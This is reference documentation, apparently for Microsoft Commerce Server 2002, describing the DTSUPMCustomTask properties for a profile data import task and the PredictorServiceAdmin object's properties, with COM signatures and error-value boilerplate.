DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask Properties [C++]

DTSUPMCustomTask Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
DTSTaskDescription | BSTR | Contains the description of the DTS task. This property is read/write.
DTSTaskImportStartDate | DATE | Contains the date that the bulk import should begin. This property is read/write.
DTSTaskName | BSTR | Contains the name of the DTS task. This property is read/write.
DTSTaskTimeQuantum | long | Contains the time of the query interval span in minutes. A value of 0 runs a single query, which locks the entire table. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the Web site or Data Warehouse name for which this task is processing data. This property is read/write.
SourceType | BSTR | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
DTSTaskDescription | String | Contains the description of the DTS task.
DTSTaskImportStartDate | Date | Contains the date that the bulk import should begin.
DTSTaskName | String | Contains the name of the DTS task.
DTSTaskTimeQuantum | Long | Contains the time of the query interval span in minutes. A value of 0 runs a single query, which locks the entire table.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure.
ProcessingType | Long | An enumeration that contains the type of processing, either full or incremental.
RetryInterval | Long | Contains the number of seconds between retry attempts.
SourceName | String | Contains the Web site or Data Warehouse name for which this task is processing data.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate.


_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription Property [C++]

DTSUPMCustomTask.DTSTaskDescription Property [Visual Basic]

The DTSTaskDescription property is a String that contains the description of the Data Transformation Services (DTS) task.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_DTSTaskDescription(
 BSTR DTSTaskDescription
);

Put method:

HRESULT _DTSUPMCustomTask::put_DTSTaskDescription(
 BSTR DTSTaskDescription
);
[Visual Basic]
Property DTSTaskDescription() As String

Parameters

DTSTaskDescription[C++]
[in] When putting the property, a BSTR that contains the description of the DTS task.
[out, retval] When getting the property, a BSTR that contains the description of the DTS task.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate Property [C++]

DTSUPMCustomTask.DTSTaskImportStartDate Property [Visual Basic]

The DTSTaskImportStartDate property is a DATE that contains the date that the bulk import should begin.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_DTSTaskImportStartDate(
 DATE DTSTaskImportStartDate
);

Put method:

HRESULT _DTSUPMCustomTask::put_DTSTaskImporttartDate(
 DATE DTSTaskImportStartDate
);
[Visual Basic]
Property DTSTaskImportStartDate() As Date

Parameters

DTSTaskImportStartDate[C++]
[in] When putting the property, a DATE that contains the date that the bulk import should begin.
[out, retval] When getting the property, a DATE that contains the date that the bulk import should begin.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName Property [C++]

DTSUPMCustomTask.DTSTaskName Property [Visual Basic]

The DTSTaskName property is a String that contains the name of the Data Transformation Services (DTS) task being run.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_DTSTaskName(
 BSTR DTSTaskName
);

Put method:

HRESULT _DTSUPMCustomTask::put_DTSTaskName(
 BSTR DTSTaskName
);
[Visual Basic]
Property DTSTaskName() As String

Parameters

DTSTaskName[C++]
[in] When putting the property, a BSTR that contains the name of the DTS task being run.
[out, retval] When getting the property, a BSTR that contains the name of the DTS task being run.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum Property [C++]

DTSUPMCustomTask.DTSTaskTimeQuantum Property [Visual Basic]

The DTSTaskTimeQuantum property is a Long that contains the time of the query interval span in minutes.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_DTSTaskTimeQuantum(
 long DTSTaskTimeQuantum
);

Put method:

HRESULT _DTSUPMCustomTask::put_DTSTaskTimeQuantum(
 long DTSTaskTimeQuantum
);
[Visual Basic]
Property DTSTaskTimeQuantum() As Long

Parameters

DTSTaskTimeQuantum[C++]
[in] When putting the property, a long that contains the time of the query interval span in minutes.
[out, retval] When getting the property, a long that contains the time of the query interval span in minutes.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When the DTSTaskTimeQuantum property is set to 0 (zero), a single query is run and the table is locked.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask::get_NumRetries, put_NumRetries Property [C++]

DTSUPMCustomTask.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSUPMCustomTask::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[in] When putting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0 (zero), no retry attempt will be made. The minimum number of retry attempts is 0 (zero), the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomImport::get_ProcessingType, put_ProcessingType Property [C++]

DTSUPMCustomImport.ProcessingType Property [Visual Basic]

The ProcessingType property is a Long containing an enumeration that identifies the type of processing, either full or incremental.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomImport::get_ProcessingType(
 long ProcessingType
);

Put method:

HRESULT _DTSUPMCustomImport::put_ProcessingType(
 long ProcessingType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType[C++]
[in] When putting the property, a long that contains the type of processing.
[out,retval] When getting the property, a long that contains the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will process the full load. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The default value is ptypeFull (0).

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval Property [C++]

DTSUPMCustomTask.RetryInterval Property [Visual Basic]

The RetryInterval property contains the number of seconds that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSUPMCustomTask::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval[C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0 (zero). The maximum value is 3600. The default value is 30.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.SourceName

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask::get_SourceName, put_SourceName Property [C++]

DTSUPMCustomTask.SourceName Property [Visual Basic]

The SourceName property is a String containing a string that contains the name of the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSUPMCustomTask::put_SourceName(
 BSTR* SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out,retval] When putting the property, a pointer to a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceType


_DTSUPMCustomTask::get_SourceType, put_SourceType Property [C++]

DTSUPMCustomTask.SourceType Property [Visual Basic]

The SourceType property is a String containing an enumeration that identifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSUPMCustomTask::get_SourceType(
 BSTR SourceType
);

Put method:

HRESULT _DTSUPMCustomTask::put_SourceType(
 BSTR* SourceType
);
[Visual Basic]
Property SourceType() As String

Parameters

SourceType[C++]
[in] When putting the property, a BSTR that contains the source type.
[out, retval] When getting the property, a pointer to a BSTR that contains the source type.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomtask::CustomTask_Execute

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

[Visual Basic]

DTSUPMCustomTask.CustomTaskExecute

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

DTSUPMCustomTask.DTSTaskTimeQuantum

DTSUPMCustomTask.NumRetries

DTSUPMCustomTask.ProcessingType

DTSUPMCustomTask.RetryInterval

DTSUPMCustomTask.SourceName


PredictorServiceAdmin Object [C++]

PredictorServiceAdmin Object [Visual Basic]

Use this object to retrieve a list of the available analysis models, a list of the available model configurations, and the date the Predictor resource was last started.

ProgID: | Commerce.PredictorServiceAdmin (Externally creatable)
COM Class Name: | PredictorServiceAdmin
Type Library Name: | Microsoft Commerce 2002 Predictor Service Type Library
EXE Name: | PredServ.exe
Threading Model: | Both
[C++]
COM Interface Name: | IPredictorServiceAdmin
Interface ID Constant: | IID_IPredictorServiceAdmin
Header File: | PredictorService.h
[C++]

In C++, use the IPredictorServiceAdmin interface to access the properties of the object.

Properties

[C++]
Property | Type | Description
dateLastStarted | DATE | Retrieves the date the Predictor resource was last started. This property is read-only.
slModelConfigs | ISimpleList | Retrieves a list of currently available model configurations. This property is read-only.
slModels | ISimpleList | Retrieves a list of currently available models. This property is read-only.
[Visual Basic]
Property | Type | Description
dateLastStarted | Date | Retrieves the date the Predictor resource was last started. This property is read-only.
slModelConfigs | Object | Retrieves a list of currently available model configurations. This property is read-only.
slModels | Object | Retrieves a list of currently available models. This property is read-only.

Remarks

The PredictorServiceSiteAdmin object provides methods for maintaining the models and model configurations. The PredictorClient object loads the appropriate model and makes the actual predictions. Generate new models by using the PredModelBuilder object.

See Also

[C++] Business Analysis Objects

[C++] Predictor Schema

[C++] PredictorClient Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[C++] Running the Predictor Resource

[Visual Basic] Business Analysis Objects

[Visual Basic] Predictor Schema

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object

[Visual Basic] Running the Predictor Resource


IPredictorServiceAdmin Methods [C++]

PredictorServiceAdmin Methods [Visual Basic]

Properties

[C++]
Property | Type | Description
dateLastStarted | DATE | Retrieves the date the Predictor resource was last started. This property is read-only.
slModelConfigs | ISimpleList | Retrieves a list of currently available model configurations. This property is read-only.
slModels | ISimpleList | Retrieves a list of currently available models. This property is read-only.
[Visual Basic]
Property | Type | Description
dateLastStarted | Date | Retrieves the date the Predictor resource was last started. This property is read-only.
slModelConfigs | Object | Retrieves a list of currently available model configurations. This property is read-only.
slModels | Object | Retrieves a list of currently available models. This property is read-only.


IPredictorServiceAdmin::get_dateLastStarted Method [C++]

PredictorServiceAdmin.dateLastStarted Method [Visual Basic]

The dateLastStarted property is a read-only Date that indicates when the Predictor resource was last started.

Definition

[C++]
HRESULT IPredictorServiceAdmin::get_dateLastStarted(
  DATE* pdateVal
);
[Visual Basic]
Property dateLastStarted As Date

Parameters

pdateVal [C++]
[out, retval] A pointer to a DATE that specifies when the Predictor resource last started.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pDateVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceAdmin::get_slModelConfigs Method [C++]

PredictorServiceAdmin.slModelConfigs Method [Visual Basic]

The slModelConfigs property is a read-only SimpleList object that contains information about the available model configurations.

Definition

[C++]
HRESULT IPredictorServiceAdmin::get_slModelConfigs(
  ISimpleList** ppslVal
);
[Visual Basic]
Property slModelConfigs As Object

Parameters

ppslVal [C++]
[out, retval] The address of a pointer to the ISimpleList interface of a SimpleList object used to return the list of model configurations.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The SimpleList object, slModelConfigs, contains a Dictionary object for each model configuration. A model configuration contains information used to build a model. The following table describes the keys of the Dictionary object which are the names of the model configuration properties.

Key Name | Type | Description
DWResourceName | [C++] BSTR [Visual Basic] String | Name of the Data Warehouse resource where the model configuration is defined.
ModelCfgName | [C++] BSTR [Visual Basic] String | Name of the model configuration.
SiteName | [C++] BSTR [Visual Basic] String | Reserved. May not appear in the dictionary.

Use the DeleteModelConfig method of the PredictorServiceSiteAdmin object to delete a model configuration.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppslVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceAdmin::get_slModels Method [C++]

PredictorServiceAdmin.slModels Method [Visual Basic]

The slModels property is a read-only SimpleList object that contains information about the available models.

Definition

[C++]
HRESULT IPredictorServiceAdmin::get_slModels(
  ISimpleList** ppslVal
);
[Visual Basic]
Property slModels As Object

Parameters

ppslVal [C++]
[out, retval] The address of a pointer to the ISimpleList interface of a SimpleList object used to return the information about the models.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The SimpleList object, slModels, contains a Dictionary object for each available model. A model is available if a copy of it exists and is not currently being built. The keys of the Dictionary object are the names of the model properties as listed in the PredictorModels Table. The following table describes a few of these keys. For information about the remaining keys, see PredictorModels Table.

Key Name | Type | Description
DWResourceName | [C++] BSTR [Visual Basic] String | Name of the Data Warehouse resource where the model configuration is defined.
ModelCfgName | [C++] BSTR [Visual Basic] String | Name of the model configuration used to build the model.
ModelName | [C++] BSTR [Visual Basic] String | Model name.

Use the Start method of the PredModelBuilder object to create a new model.

Use the DeleteModel method of the PredictorServiceSiteAdmin object to delete a model.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppslVal parameter contains valid data only if the property is accessed successfully.

See Also

